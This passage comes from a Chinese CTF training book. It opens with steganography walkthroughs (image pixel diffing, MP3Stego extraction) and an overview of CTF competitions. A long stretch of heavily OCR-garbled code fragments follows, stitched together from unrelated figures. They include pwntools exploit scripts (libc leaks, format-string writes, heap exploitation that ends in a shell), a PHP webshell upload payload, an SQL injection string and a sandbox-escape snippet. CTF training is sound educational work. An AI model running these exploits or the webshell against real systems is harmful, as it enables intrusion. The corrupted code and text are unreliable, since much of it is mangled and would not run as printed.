 使用StegSolve加载图片，没有发现有用的信息。使用WinHex打开图片，发现其中包含PNG文件头，如图5-72所示。
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  图5-71
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  图5-72
 
 
 
 使用foremost将图片分离出来，分别命名为1.png和2.png。从表面看，这两幅图片是一模一样的，但仔细想想，题目给出两幅相同的图片，是什么意思呢？因此，我们要想办法看看它们之间到底有什么不同。
 
 使用Windows自带的Beyond Compare比较这两幅图片，如图5-73所示。
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  图5-73
 
 
 
 不要觉得图片变得不一样了——这是放大20倍的效果。在图片的左下角发现，这两幅图片有一条（红色的）直线的差别。使用Linux自带的compare工具，执行“compare 1.png 2.png out.png”命令，就能生成二者的差异图out.png，如图5-74所示。
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  图5-74
 
 
 
 找到了这两幅图片的差别，就基本可以确定隐藏的信息在这条直线所对应的像素点中了。我们需要编写代码，将相关信息提取出来。
 
 分别取两幅图片的所有像素点，然后逐一比对，如果两个像素点的值不同，就将其打印出来。Python代码如下。
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 执行以上程序，可以看到这些像素点的R分量的值是不同的，如图5-75所示。
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  图5-75
 
 
 
 直接阅读这些数值实在不方便。可以先将所有值不同的像素点的R分量取出。然后，对以上代码稍作修改，具体如下。
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 如此操作，就可以得到一个由0和1组成的字符串，具体如下。
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 遇到这种形式的字符串，首先想到可以将它们转换成ASCII码。打开JPocketKnife，将二进制字符输入，然后单击“Binary”→“Binary Format”选项，可以看到二进制字符以每行8个被分开。单击“Binary”→“Binary to ASCII”选项，就可以将其转换为ASCII码了。转换结果为“ISG{E4sY_StEg4n0gR4pHy}”。
 
 题目8　藏在声音中的密码
 
 题目概况
 
 题目给出了一幅JPG格式的图片，上面有简单的文字，如图5-76所示。
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  图5-76
 
 
 
 解题思路
 
 拿到图片后，观察一番，没有什么发现。把图片放到Linux中，用binwalk检查一下，发现它可不是单独的一幅图片，如图5-77所示。
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  图5-77
 
 
 
 因为手动提取文件很可能出错且不方便，所以，可以使用“binwalk -e”命令来提取文件。运行该命令后，能够提取两个文件，分别是flag.7z和mimi.mp3。
 
 flag.7z中有一个flag.txt文件，但压缩包是有密码的。
 
 mimi.mp3是一段长度约为30秒的歌曲，听不出额外的信息，所以推测可能使用了MP3隐写。一种经典的方式是使用MP3Stego进行隐写。不过，使用MP3Stego隐藏数据时需要输入密码，提取信息时也要使用此密码。因此，在解答本题时需要考虑如何获取密码。
 
 有一个明显的线索我们还没有使用，那就是题目原始图片中的字符“P4ssWord”。使用MP3Stego加载文件，尝试输入此密码。MP3Stego是一个命令行工具，它提供了两个程序，Encode用于隐藏信息，Decode用于提取信息（都在cmd窗口中使用）。
 
 解密命令为“decode.exe -X -P P4ssWord mimi.mp3”。如果音频文件和工具不在同一目录下，就需要添加路径。命令执行后，显示文件提取成功，并在此目录下生成两个文件，如图5-78所示。
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  图5-78
 
 
 
 下面重点分析一下生成的两个文件。
 
 MP3Stego在隐藏信息时需要3个方面的信息，一是载体文件（即WAV音频），二是需要隐藏的信息文本，三是密码。写入信息的命令为“encode -E data.txt -P pass sound.wav sound.mp3”。此时，载体文件和文本文件就不需要了，仅需要一个经压缩合成的MP3文件（就像题目中给出的一样）。只要输入正确的密码，就会将MP3文件解压到一个中间文件sound.mp3.pcm中，然后将其中隐藏的信息提取并放到sound.mp3.txt文件中。
 
 打开解压后的文本文件，其内容是一个单词“alpha”。将这个单词作为口令，尝试解压flag.7z（当然，此步骤需要使用7-Zip工具才可以完成）。解压成功，如图5-79所示，打开flag.txt文件，就能得到最终的答案“VERYEASYSTEGO”了。
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  图5-79
 
 
 
 相关知识点
 
 除了本题，我们在分析与摩斯密码有关的题目（5.1节“题目1”）时也使用了从音频中提取信息的方法。通过那道题目的音频，我们可以清楚地听到长短音，很容易就能联想到摩斯密码。那么，下面这道题，你是否能听出“玄机”？
 
 题目提供了一个WAV格式的音频文件。直接播放，可以听到断断续续的“嗞嗞”声。使用音频处理软件CoolEdit将该文件打开，可以看到图谱，如图5-80所示。
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  图5-80
 
 
 
 这个图谱看上去像是数字电路中的高低位波形图，我们可以联想到电路状态的低电平和高电平（表示两种逻辑状态，即0和1）。对照此图谱，按“高1低0”的规则翻译，得到“0110000101101100011100000110100001100001”——正好40位，5字节。
 
 你想到了什么？当然是ASCII码。打开JPocketKnife，依次单击“Binary”→“Binary Format”选项，将二进制文本格式化。然后，依次单击“Binary”→“Binary To ASCII”选项，将得到文本“alpha”。这就是最终的flag。
 
 常见的音频处理软件，除了CoolEdit，还有audacity、Audition CC。
 

  第6章　比赛介绍


  读完本书前面的内容，相信大家已经对CTF赛题有了一定的了解——能用的招，才是好招。那么，在哪里可以使用我们学到的这些招数呢？本章将简单介绍国内外知名的CTF比赛。


  国内外CTF比赛的内容有一些不同。国外的CTF比赛，题目以二进制程序分析和漏洞利用为主，辅以Web、密码学及其他内容。国内的CTF比赛，题目以Web渗透为主，搭配一些逆向分析、漏洞利用、密码学等方面的题目。


  6.1　国外CTF


  DEFCON


  赛事介绍


  DEFCON在CTF界算是最知名、影响力最大、历史最悠久的比赛了。它诞生于1993年，参赛选手大都是世界各地的黑客，可以说是CTF界的“世界杯”。


  比赛模式


  DEFCON的比赛模式主要为夺旗赛，即让选手分组对战，获取目标权限，从而击败对手。因比赛周期长，选手们经常需要昼夜工作，长时间不离开计算机。


  DEFCON分为线上预赛和现场决赛。


  线上预赛采用解题模式（Jeopardy）。即使是预赛，题目难度也是很高的，主要以二进制程序分析和漏洞利用为主，Web和杂项类赛题占少数。近几年，题目的复杂度和难度越来越高，风格也越来越偏向实战化和生活化。


  现场决赛采用攻防模式（Attack/Defense）。只有线上预赛排名前列的队伍，才能入围现场决赛。除了参加线上预赛，还可以通过参加外卡赛入围决赛。这些外卡赛通常也是质量很高的重量级CTF比赛。最终入围现场决赛的队伍通常为15～20支，每年的数量不一定相同。


  DEFCON决赛一般在每年7月的最后一周或8月的第一周于美国拉斯维加斯举行。


  UCSB iCTF


  赛事介绍


  UCSB iCTF是一个历史悠久的、主要面向院校学生的黑客竞赛，其比赛环境集成了攻击和防御两个方面。


  比赛模式


  UCSB iCTF是一个多站点、多团队的黑客竞赛，每个团队都是独立进行对抗的。在比赛中，每个团队都要维护一套容易受到攻击的虚拟主机（每个团队维护的虚拟主机是相同的），使其在整个比赛阶段保持正常、可用、不受影响。同时，每个团队都要尝试攻击其他团队的虚拟主机。


  6.2　国内CTF


  XCTF联赛


  赛事介绍


  XCTF联赛的全称为“XCTF国际网络安全技术对抗联赛”，由网络空间安全人才基金和国家创新与发展战略研究会联合主办，由多个高校、科研院所、安全企业、社会团体共同组织，面向高校及科研院所学生、企业技术人员、网络安全技术爱好者等群体，旨在发现和培养网络安全技术人才。


  比赛模式


  XCTF联赛由选拔阶段和总决赛阶段两部分组成。


  选拔阶段通过多个由高校及科研院所技术团队承办的分站赛，筛选出技术能力水平较高的队伍进入总决赛阶段。


  总决赛阶段设置总决赛及夏令营等活动。入围总决赛的队伍通过竞赛，角逐冠、亚、季军和优胜奖，并获得相应的奖励。通过总决赛选拔出来的表现优异的队伍和个人，将进入夏令营活动进行提高训练，同时鼓励其参加知名的国际赛事。


  TCTF


  赛事介绍


  TCTF是DEFCON的外卡赛之一，由腾讯安全联合实验室主办，于2017年在北京邮电大学开启。赛事分为面向全世界的国际赛和面向国内高校的邀请赛。


  比赛模式


  TCTF的比赛模式主要为解题模式，题目类型如下。


  • 二进制漏洞利用。


  • 逆向工程和逆向分析。


  • Web安全。


  • 密码学。


  • 移动安全。


  • 专业程序编码。


  • 杂项。
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shellcode = [0x0806ed0a, 0xD802a060, 0x080BB40E, Ox6e59622¢, 0x080a1dad, 0x080GedDa,
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mELF (. /pun)
P = process(
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precvantil (e
posendline ("51)
der accack():

for 1 in range(s0):

prrecvuntil(*resule\n®)
p.sendline (3%)
pococvunt 11 (i ™)
p.sendline (1)
porecvuntil (*yi®)
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$(eunctiont) (
var gxercises =
ext

initiatize: function() (
$(*4messages®) .text ("People want you to store your favorite links
here. However, you are not into that, you
Just want to do some XSS magic to the page.
Rdd an alert with the message 'Exl' to the
page Gty Sites:)®);
var nativeAlert = window.alert;

var lastAlest = null;
window.alert = function(neg) (
nativeAlert (meq)
lastalert = meg;
)
$("form.ex17) .subnit (unct ion(eve) (
eve .preventoetaule ()
var siteliame = §(*.exl input [cypes’text’]").vall).trin().
replace(/</a, "61ti").xeplace(/>/g, "hati®);
var siteURL - §(*.exl input[typesturl']").val().tein() .
). xeplace(/>/g, "aat

ceplace/</q, "elts

$(<p class='lead'><span classn'label label-success'>" + \
siteName + "</span>® + siteURL + \
"</p>") .appendTo (" exl . Links-place™);

£€ (testPorscript("EXl®, [siteNane, siteURLl, lastAlert)) [

5("4messages”) . renoveCiass (“alert-info") .addClazs (“alert—
success™);
messages”) .text ("You made it to exercise 2. You will

be redizected to it in 10 seconds.”)

st

Levelconpleted(1);

Exercises.exl.initialize();
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P = process (*./pun®)
eLf = ELE(*. /pun®)
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der leak (addz)
payload = at + 112
payload = payload + p32(write_plt) +p32(start_addr) + p32(1)
+ p320)

+ p32 (adar)

p.receline()
P-send (payload)
data = p.reev(4)
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<SCRIPT LANGUAGE="Jscript™>
alert (*Alphalab®) ;

</scrapT>.
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int result; I10axa2
signed tnt vi; I10axa9

int size; 17tsptan] (bp-chie3
void *hesps /7tspsh) Ibp-sniee

i€ (sun(0) <= 8 )
0
puta(tinputs your size;
size = read_int();
1E (size > 0 o size <= 1000 )
(
heap = malloc(size);
LE ( theap )
«

puts ("ERROR!
exit(-1);

)
puts(*Input your action:™);
read_action((_int6d)heap, size);

*(_QWORD *) (1611 * sun(0] + global malloc) = heap;
V1 = sum0] 44

*(_LDWORD *) (global_malloc + 161L * vi + 8) = size;
result = puts("Successfully add a rolel™);

'

else

0
result = puts(*Invalid size!

'
else
‘

result = puts (*Too mucht®);
'

return resule;
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lagtxt="0ct (Too_Simple_Somet imes Maive!!!}";
Key = [0x00, 0%00, 0X00, 0x00, 0x00, 0x1D, OX1B, 048, 0x2C, 0X0C, 0x24 , 0X02, 0X02, 0x09, 0X3A,
ox08,

0x38, 008, 0x03, 0x3A, 0x39, 0x0C, 008, 011, 0x00, 0x00, 01A, 009, 0X0C, %29, 0x20, 0x58,
0x44,0x00, 0x00]

result =rv

for 1 in range (len(flagext)):
s = ord(flagext(il) * keyli)

result +- chr(s)

print result
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int _cdec) main()
¢

sne vo; 7/ ST1A_404

int rosult; // eaxes

int v2; 1/ (sph1h] (bp-BhIed

£ (perace(s, 0, 1, 0) == -1 )
«
puts ("Booh! Don't debug me:
exitin);
)
puts(*Helcone to NDHZKIS™);
¥0 = sub_804B6EA (int) §1oc_B04BAES, loc_BOABSEL - 4loc_BOABAER);
2 = sub_80485E8 ((const char *)4unk_804R0S0, Ox185, vO);
A€ ( sub_80436BA(v2, 0x186) 1= 05780882 )
«
puta ("o no no! Don’t patch me!
exit (1)
)
£ ( mprotect ((void *) (v2 & OXFFFFFO00), 0x186u, 5) >= 0 )
‘
(tvotd (+) (void)v2) 07

)

result = 0;
)
ole
¢
fosult = 1

)
return cesuic;
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£xom pun import ©
from binascii import *

P = process(*./pun’)
SLEELE (" /punt)

det create(size, string)
p.recuuntil (fquitint)

p.sendline('create ')
perecvuntil(*size: ")
p.sendline (st (size))
p.recvuntil (“str:’)
p.send(scring)

print p.recvline()
def dolete(id, addr=None):
recvuntil (‘quitin')
sendline('delete ')

sendline (stx (1))
recvuntil (*sure?
£ adar:
+ print =
p-sendline (*yes01234"+p54 (addr))

e
purecvuntil(11d: ")
I8
P

olse:
Psendline('yes')

create(s, ‘asa\n’)
create(s, 'asa\n')
create(d, ‘aaa\n’)

detete(0)
delete(n)
delete(z)

Payload = *a® + 16 + "HbbbbbEB® + "\xZD" + "\k00" + ‘\n’
create (32, payload)

delete(1)

rec = p.recvuntil("bbbbbbbbT)

deletefun = p.recvuntil("\n") [:-1]

deletofun_addr = u6d (deletefun + "\x00' * (8 - len(deletefun)))

proc_addr = deletefun_sddr - Oxd2d
Printf_plt = deletefun_adds + 142
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malloc_printers ("corrupted double-linked list®);
else (
Fo->bk = BK;
BK->£d = £D;
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£xom pun inport *
P = process (", /punz_
eif = BLF("./pun2_")

det Leak (addr)
print hex (addr)
payload = '493saabb’ + p32 (addr)
p-sondline (payload)
rec = p.recvuntil (“aa%)
purecv()
if len(rec) == 2:
return "\0®
el

roc = rect

def leak2(addr, n = &, result = ')
payload = p32(addr) + *¥78s’
p.sendline (payload)
rec = p.recvline()
rec = rec(sdim]
ifentzee) == )5
else:

if(len(ree) 1= n
result = result + recl:-1] + *\x00%
result = leak(addr+l, nen-len(rec), result=result)
return result

elses
result - result + rec

roturn result

def attack (sys_adde, printf_addr):
numl = sys_addr & Oxf
fumz = (sys_adds & OXEE££00) >> 8
Payload = p32 (printf_addr) + pI2(printf_addrel) + "8 + str(numl - 8) + \
Xt 4 TAIShat + "M%+ stx(num2 - numl) + "x" 4 "ABSha" + "\n"

P.send (payload)
purecv()
4 = DynELF (leak, elf=ELF("./pun2_'))
Libe_addr = d.lookup(None, '1ibe’)
print Libe  address %" ¥ (Libc_adds)
d = DynELE (leak, 1ibe_adds)
systen_sddr = . Lookup ('systen')

print systen address Wx* §(aystes
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iml = Image.open("iloveu.bmp")
in2 = im.copy()

pic = in2.l0ad()

touxtang = inl.load()

=0
for x in range(inl.sizel0)):
for v in range(inl.sizel1)):
£ o9 b = touxtangly, xI
1€ binstr(1]==10"

picly,xl = £,9,b8
olee

plely,xl = r,q,b1000
Lt
¢ iemlentbinst)

iri2.save ("1oveu. brp®)

exit(0)
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FRp. > VAL SURP( SE22040309583501 LI87300RN4205845 'uu' 0. )
bool(true)
php > var_dump("6e861580163291561247404381396064"=="0")
bool(true)

Php > var_dunp("0e861580163291561247404381396864
s815");

bool(true)

php > B

"0e22046309585551150758804126)
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DateTine now = DateTime.Now;
string ste2 = string.Format(*(0)"
string str = "NeEd_MoRe_Bawlz®;

this.method 7 (str, Convert.ToInt3z(str2),
it

nowHour + 17

rof sted);

(string.Compare (this. textBoxl.Text . ToUpper (), stxd)
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proc_addr = deletefun_addr - Oxd2d
printf_plt = deletefun adds + 142

d = DYRELF (leak, proc_addr, elf=ELF(*./pun’))
systen_addr = d.lookup('system’, *libc')
print "-----libe  address tx" (syste

adz)

delete(0)
Payload = */bin/bashi® + "'+ (0x18-len("/bin/bash;")) + P64 (system_addr) + "\a®
create (32, payload)

delete(1)

pelnteractive()






OEBPS/Images/233-1.jpg
int sub_50486EC()
¢
char vi; //tsprien) bp-snier

puts (*Enter your name *);
£e1ush (stdout) ;

_iaoco_scant (*49s", su);

printe("Welcons ¥s to participate the 429 ctfiin®, vl
retuen £elush(stdout);
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Finclude <stdio.h>
binclude <sys/ptrace.h>
int main(ine arge, char taravil) (
L8 (prace (PTRACE_TRACEME, 0, 0, 0)
printf ("Debugger detected®);
return 1;

)
Printf("ALL good®);
return 0;
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int _cdect main(int argc, const char *+argv, const char **envp)
«

sub_80486EC();

sub_8048527 01

return 0;






OEBPS/Images/040-4.jpg
[<body>
<form enctype="muliparform- data” method-"post* name="upform* action="">

<input name="upfile type~"fle size="25" maxlength-="500°>

<input type="submi value="submit'>

<br><font color=red-Upload Successful</font><br-File Name: <font
|color=blue-./uploadimg/1477373030.php</font><br> Width: Length:<br Size:25 bytes</form>
<rbody>

<shmi>
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IContent-Disposition: form-data; name="file"; filename="4.php"
IContent-Type: application/x-php

|<script language="PHP">echo *$_POST[shell] *;</script>

265841475632636076454863--
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im = tnage.open("test.png)
for 4 in list(im.getdata()
for 3 in i

3= w0209

ster = stered

print ster
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<script language="">($_POST[shell]);</script>
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* Gadde: WAAR, DX KA

* len: fEAM, DEX RAHXL

* eppovmbex: WA, H% Dvmbex H I

1

int dvmDexFileOpenPartial (const void® addr, int len, DvmDex** ppbvmDex)
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fron PIL inport Image

ingl = Tmage.open (*1.png")
ing2 = Trage.open (*2.png")
iml = ingl.load()
in2 = ingz.10ad()

for x in range(ingl.size(0]):
for v in range(ingl.size(1]):
48 im (x,y] t=im2(x,y10

print iml(x,y], in2 (%, y]
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print (data).encode (‘hex')
cotuen data

d = DynELF (Leak, elfmelf)

Libe_addr = d.lookup(Nore, *1ibc’)
Log.info('1ibc address:® + hex(libe_addr))

d = DynELF (leak, Libc_addr)

systen_addz = d.lookup('systen')
Log.info('systen address:' + hex(system_addr))
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int _cdecl main(int argc, const char argv, const char envp)
'

unsigned int v3; Ireaxez
ine va 1/0axe2
int result; I/eaxes

setbut (stdout, 0);
setbut (stderr, 0);
wnile (1)

[

result = getchar();
i€ ( result == <1)
break;

V3 = tine(0);
srand(v3);

va = rand0);
printe(*tuln®, vi);
)

return result;
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SUBYTE +) (v9 + VL) A= *(BYTE *) (vts + v10);
12 (va == at)
‘

5ub_10001270(v10, a4);

vi0 = a3;

it = a1
vi =0

)

ovs;

)
while (v9 < a2 );
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print basess.b32decode (str)
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Finclude <stdio.n>
Finclude <sys/ctypes.h>
#include <dlfen.n>

typeder int (vorig_mprotect ¢ type) (void *addr, sizet lem, int prot);

int mprotect (void *addr, size_t len, int prot)
‘
orig mprotect_f_type orig_mprotect;
orig_mprotect = (orig_mprotect_f_type)dlsym(RTLO_NEXT, "mprotect®);

L€((((unsigned int)len) == Ox186) &k (((unsigned int)prot) == 5))
0

FILEY £ fopen(*./dunp", "Wb%);

feriteaddr; 1, Yen; £)F
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Keyl(1] = OxBS; //key (4]
Keyl(12) = 0x66; //key(S)

ABS_set_encrype_key (key0, 128, ienc_key)i
AES_ecb_oncrypt (text, enc_out, kenc_key, AES_ENCRYPT);
ABS_set_encrypt ey (keyl, 128, fenc_key
ABS_ech_ancrypt (snc_out, enc_out, tenc_key, AES_ENCRYPT);

£ox (140; (enc_out+1) 104003 149)
‘

I/princE("aK *,* (enc_ouc+i)) s

L€ (s (enc_ostet) == ori(i] ) enters

else break;

it (ont == 161
«

puts (*goc
out = tever
break;

)

§£03 == oxer) brea

)
6012 == OxED) break
)
SE(51 = Oxer) broak;
)
LE(0 = Oxen) breaks

priRCE(KO: WAR", Xey0121); I1xeyio)
PriRCE(KL: W\n%, keyl(A]); eyt
PriRtE(k2: W\n", Xey013])s Irxeytz1
printe (k3: W\n", Xey0(91); Irxey(3)
Printe (ke A%, keyll7]); 1rxeytal
printe(k5: Wnt, keyl(121)7 I7xeyts)

£xee(enc_oue);

recurn 0;
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> Ltrace ~c /simple
__Libc_start_main(0x400bfc, 1, OX7EEE36£3238, 0x400e50 <unfinished ...>
Std:tbasic_ifstreancchar, std:ichar_traitscchar> >:ibasic_ifstrean(char constt,
::_Tos_Openmode) (0x7EEE96£32710, 0x400aec, 13, 3) = Ox7£85fBeedsos
har_traitscchar> >::basic_ofstrean() (Ox7EEL96£3251

basic_ofstreancchar, std
0 4,0, 0 =0

:tistrean: tellg() (OXTEEE96E32710, OXTE85E8CC1c0, 6, 6) -1
operator newl] (unsigned long) (-1, 4, 0, -1 <unfinished ...>
_oxx_personality_v0(1, 1, 0x474e5543432b2b00, Ox7£85£4000920) -e
oxx_personality_v0(l, 1, 0x474e5543432b2b00, 0x7€85£4000920) -
terninate called after throwing an instance of 'std::bad_alloc’
oxx_personality_v0(l, 1, 0x74e5543432b200, 0x7£85£4000920) -
oxx_personality_v0(L, 6, 0xi74e5543432b2600, Ox7£85£4000920) -7
what () std::bad_alloc

- SIGABRT (Aborted) ——
44+ killed by SIGABRT +++
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<SCRIPT LANGUAGE="JScript.Encode"#@~"GgAAAA:
@#@s1sIDD" JzVa41dl8I*i@G#@&CWYARA=="#~@ </ SCRIPT>
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(Accept-Language: en-Us.enq-0.5

| Accept Encoding gaip. deflate

[Referer: hitp2/46198bc62b0344592242003822be43008ab537 14ef9ba8 0 game.ichungiu.com/
Cookie: chkphone =acWxNpxhQPDIAChhNUSHEQYIQUDIOND00; Hm_M_1a32/7¢660491887db0960e3c3 14b02]
i session=4e9bd70fEa0153359¢8916691d13358¢e0ea70157
Connection: keep-aive
Upgrade-Insecure-Requests: 1
Content Type: multpartformd:
Content Length: 94668

oundary---

$141324867979465692045685859

141324867970455692045685859
Content.Dispostton: form-data: name-fil’;lename"twpian.php™
Content Type: mage/jpeg.

</form>

<dv>

<a href="u/tupianphp*> LRI </a>
s
</
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Puntools does not support 32-bit Pychon. Use a 64-bit release. [+] Starting
local process './gms': pid 1300 {1 flag: flag:123 [] Stopped process './gms'
(pid 13090)
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v3 = fopen("_a\nb\te_"
va = v
i (w3

bt

vs = 78;
LODHORD (v10) = std: soperator<<<std:schar_traits<chars> (istd

cout, ey file
not found!®)
stdsendicchar, std: schar_traits<char>>(vi0);
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Vil = ((int (_fastcall *) (int, int, int))vS)(vd, vi, vi0); //read &it
6 = 33 getpid()s

3_3_snprintf(es, OxFFu, */proc/td/fd/id
3_1_memset (sv14, 0, 0x100w);
3_i_readlink (65, Gv14, OXFFu);
EEEEE
v8 - 0;
i vy
«

w6, vAs

trstr(svld, "/data/data/easyre.s)l.gossip.casyre”);

while (vE 1= v10 )

‘
S(BYTE +) (v3 + v8) - destlvels
e

)
3_3_hook_postcall (sunk_6004)
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public class Register arTTy

t
public bool IsRegistered) JIME AR A T
(
zeturn true;

'

I1akzs
public class a 11-riams
0

public bool a() IIMEHRRE LA T R

[ return true; )
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"
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"

"\xdB\xZe\XIb\XTe\x4 £ \xZb\X12\ X 76\ x0B"
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Console.WriteLine("sorry, but the bkpe standard mandates a key

Length of 54 bytest);

)

Encryption.enceypt (file, file.Length, key, key.Length);

Filestrean stream = now FileStream(str2 + ".bkenc”, FileMsde.Create,
Filenccess.Write);

stream.Write(file, 0, file.length);

stream.Close();
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def GetFlags
0 xor wone

1 LOAD_CONST None

4 LoAD_coNST Hane

7 wop wone

8 LOAD_GLOBAL 'struct®

This code section failed:

11 LOAD_ATTR ‘unpack'
14 10AD_consT 'B*

17 L0AD_GLOBAL ‘data’
20 LoAD_GLOBAL *len’
23 LoAD_GLOBAL 'data’

Syntax error at or mear "NOB' token at offset 0
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public isadnin
60uB0SC {sadnin o § DATA XREF: loginesti
i readnessagess81fr
aLign 2
public adninpassvord
char adainpassuora[32]
015000 aoninpassord @b 201 dup(?) + oata xRer:
+ nainesoio

Laginshsto

public posts

801800 posts. ar + DATA AREF: addmessagess3iir
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data = "\XLC\XTa\K16\KTT\X10\x28\ K51 \XLE\RAC\XOE\XSB\KIA\XZ\KZE\KAB K Te\ ki \ K72\
xaa\xTbTH

ARO\XTE\R AR\ XT E\ KL\ RTE\ KACAXTS\ 1 01 X2B\ K18\ XZB\ K48\ Te\ x4 B\ 23\ X1 2\K24\ K1 1\XT27
"

"Akb\KZe\ K IBAKT\ KA £\ XZD\ K12\ K76\ X0b"

flag = ="

for 1 in range(len(data)-1):

flag += chr (ord(data(i]) * ord(datali+1]))
print flag

# flag: (NSCTE_nd540012655a£49e803c68e165c9e5e1d5d]
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vi9 = ou;
o
t
S1(vi9) = *(BYTE ¥) (v21 + v19) * *( BYTE %) (v20 + vi9);
+vis;
)
while ( (signed int)vis > (signed int)vis );
L6 ( memcap(
1,
" 4KHOZLVEALTyGECRodPhEEn S gy GRWECGv4 3TpAPGh2€ 1DIKE CQIMDLVVZPERNEUEAAVYL
MERDINGBK; 18 rRERVVUN'
(signed int)vis) )

aoto LABEL_41;
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for (1= 0; 1<32; ++i)
w70 -

Va2l - o

puts("Your flag is

¥O = sub_401100(v117, 1000000000);

VI = (int *)sub_401220(v0, 999993950 ;

sub_401100(v1, 2)

V2 = sub_401000((1nt)4v117(1], 5000000);

¥3 = sub_801220(v2, 6656656);

V4 = sub_401000(v3, 1666666);

5 = sub_101000(va, 45);

¥6 = (int)sub_t01100((int “)vS, 207

sub_401000(v6, 3);

aub_401000 ((4nt)6¥117(311, v117130))
sub_401CTE ("CTE (")

for (3= 0; 3 <32; 44 )
sub_401CTE ("he", LOBYTE(v117131));
Sub_401CTE ("1 \n") 5
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#w http://192.168.88.132/sql/

€ [@® 192.168.88.132/5q1/

username|root’

password|s

emaillmot@admin.com

(ok
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encryptedicounter] = plaintext (counter] ~ plaintext [counter + 1]
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import warnings
[1.c1ass base. subclasses () . index (warnings..catch_varnings)
59
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Plasse satr seript hoty

static main(voia)
<

For (_dex_agar - r
dex_addr 1+ )

Fputc(Byte(dex_adar), Fp);

dex_adar < end_adar;

)

e 10f1

Seripting Longuser o s
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input the integer xil
input the integer y:

the result is 2
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int _ecdecl main()
‘
int vl //1sprisn] top-28hier

puts("pun test”)
Iy —
—_isocos_scant (*s", avl);
printe("asn, wl);

cerur 1;
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S S S U
' Size of previous chunk, if unallocated (2 clear) |

"headst | Size of chunk, in bytes Iaorel

| Forward pointer to next chunk in list(fd) '
| Back pointer to previous chunk in list (bk) '
| '

*toorst | Size of chunk, in bytes |

' Size of next chunk, in bytes I






OEBPS/Images/051-2.jpg
L€ (merypt_generic_init(std, Skey, Siv) = -1)(
Stap = ndecrypt_generic(std, hex2bin(Shexen));
merypt_generic_deinit (std);
merypt_nodule_close (5td) ;
Stapl = substr (Stmp,16,1);
I/echo stap;
ie (stmpl == "%
print ('you are right<br/>');
print TELLU1t.TAv.tgt. isit.Sere. <be/>
'
elaete (strlen(stap1>16 ) (
print 'Your uid is *.Stmpl. , you can\'t logincbr/>';
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B = remote ("xx.xx.xx.xx", 10000)
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rRE SCHSHTA (HEX ) SR
72 377ABCAF27 1C 7.2IP compressed file
3026 B2 75 8 66 CF 11 ‘Windows Media
50480304 ZIP Archive.
3C3F 786D 6C XML Document
x| DOCF 11 E0 MS Excel
rar 52617221 RAR Archive File
pog 89 50 4E 470D 0A 1A 0A PNG Image File
pdf 25504446 2D 31 26 ‘Adobe Acrobat
_ipe. jpe. jpeg | FFDSFFE000 IPG Graphic File
Jpe. ipe. jpeg | FF DS FFFE 00 IPG Graphic File
it 47494638 3761 Graphics interchange format ile (GIF $7A)
it 4749463839 61 Graphics interchange format file (GIFS9A)
bmp 424D Windows Bitmap
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php > var_dump(® == "a");
bool(true)

php >

php >

php > var_dump("1" == "01");
bool(true)

php >

php > var_dump("10" == "1lel");
bool(true)

php >

php >

php > var_dump(100 == "1e2");
bool(true)
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data = "what iz°i"your®+*name!®shehehe’+"hahaha®s" 666"
import. re,urllib
def funch):
a-3
nt data
func)
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private void InitializeComponent ()
‘
ConponentResourceNanager manager =
new ComponentResourceManager (typeot (Forml) ) ;
IR RGE TR
this.bucconl.Name = "buttoni®;
Size sized = now Size(dxde, Ox17);
this.buttonl.size = size
this.buctonl. Tablndex =
this.buttonl.Text = "Submit";
this.buttonl.UsevisualStylesackColor = true;
this.buttonl.Click += new EventHandler (this.buttonl Click);

IIRRESETRE
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<span>
</div>

</form>

<div>

<a href="u/2.php"> Ef§ R I! </a>
</div>
</div>
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Package cuitctf_crackne00i;

import
smport
impore
import
import
import

public

Javax.crypto.Ciphers
Javax.crypto. Secretkey;
Javax.crypto. SecretKeyFactor,
Savax.crypto. spec. DESKeyspec

Javax.crypto.spec. Iuparameterspec;

com.sun.org. apache. xnl. internal . security.utils.Basedi;

class test

public static final String ALGORITHWDES = "DES/CBC/PKCSSPadding®;

public static vold main(string args(l) |

String user = "ayclover®;
ey (
String key = encode(user, user).subscring(0, 6).tolowerCase();
System.out.printin(key) ;
y
catch (Excoption localfxception) |

l

public static String encode(String paramStringl, String paramString2)

throws Bxception |
return encode (paranStringl, paranstring2.getBytes());

private static String encode(String paramstring, byte(] paramArrayofByte)

throws Exception |
ey (
DESKeySpec localDESKeySpec = new DESKeySpec (paramString.getBytes());
Secretkey localsecretkey = SecratKeyFactory.getInstance ("DES®)
~generatesecret (localDEsKeySpec) i
Cipher localCipher = Cipher.getinstance ("DES/CBC/PKCSSPadding”) i
localCipher.init (1, localSecretkey,
new Tvparameterspec (*JoyChou ".getBytes()));
String str = Base6d.encode (
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08018420 <systengplt>:
8048420 ££2518.20 04 08 Jwp  ~0x804a018
804s426: 68 18 00 00 00 push  soxis

804842b: 03 b0 £f £t £e Smp 8048360 <_init+0x24
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sinple file flag.dec
flag.dec: gzip compressed data, vas "flag.png®, last modified: Sat Oct 4 02:26:43
2014, from nix
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0 LoAD_CONST 0 (Hello)  HEFEAN

3 STORE_NAME o targl) PEEFAD T RIAA

& LoAD_consT 1 (Worian)  HERAI

9 STORE_NAME 1 (arg2) HEERILS £ R0 ARIR

12 LoAD_consT 2 (code object funa at 000000000268F580, file *heh.py",
Line )

15 MAKE_FUNCTION 0 SRR AR

15 sTORE_NAME 2 (funa) FAA R Ao A2 KB

21 Loao_const 3 (<code object funb at 000000000268F480, file *heh.py™,
tine )

24 wAke_FUNCTION O SRR R A

27 sToRE_NAME 3 (tunb) TSI TETE s TN

30 LoAD_navE, 2 (una)

33 CALL_FUNCTION 0 VAN, ASRARS

36 2op_ToP [Ereer e

37 Lop_consT 4 Otone) # one AH

40 RETURN_VALUE 4819 None.
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Payload:

select (1) from(admin) where (*1')=('1'))=" spasswd=1
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unsigned _int64 sub_D9s()
[

signed tnt v1; //Uxspech) (zbp-114h]
char but; //1zspr10n] Lrbp-110m]
unsigned __int6d v3; //1zspiisn] (xbp-sh]

v3 = _readfsqord(0x28u) ;
Printf(*Pls give me the string {d you want to delete\nid:®);
V1 = sub 86505
AE(vi<o I v>1e)
puts(*Iavalid 14
i€ ( stru_2020€0(v1l.dun )
«
printe (*Are you sure?:*);
zead(s, sbuf, Ox100uLL);
SE ( tstenemp(sbuf, “yest, uil) )
‘
t£0_2020C0 (v1] .d_un->fun ((unsigned _int64)stru_2020C0(vil.d_un, *yes");
LODHORD (st ru_202000 (v1] .d_taq) = 0;

'
roturn __readfaqeord (0x28u) * v3;
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= gec -Wall ~£PIC -shared -o clarksolution.so clarksolution.c ~ldl
= LD_PRELOAD-./clarksolution.so ./clark

Welcome to NDHZKLS

Need supercow power!!!

syet

- 1

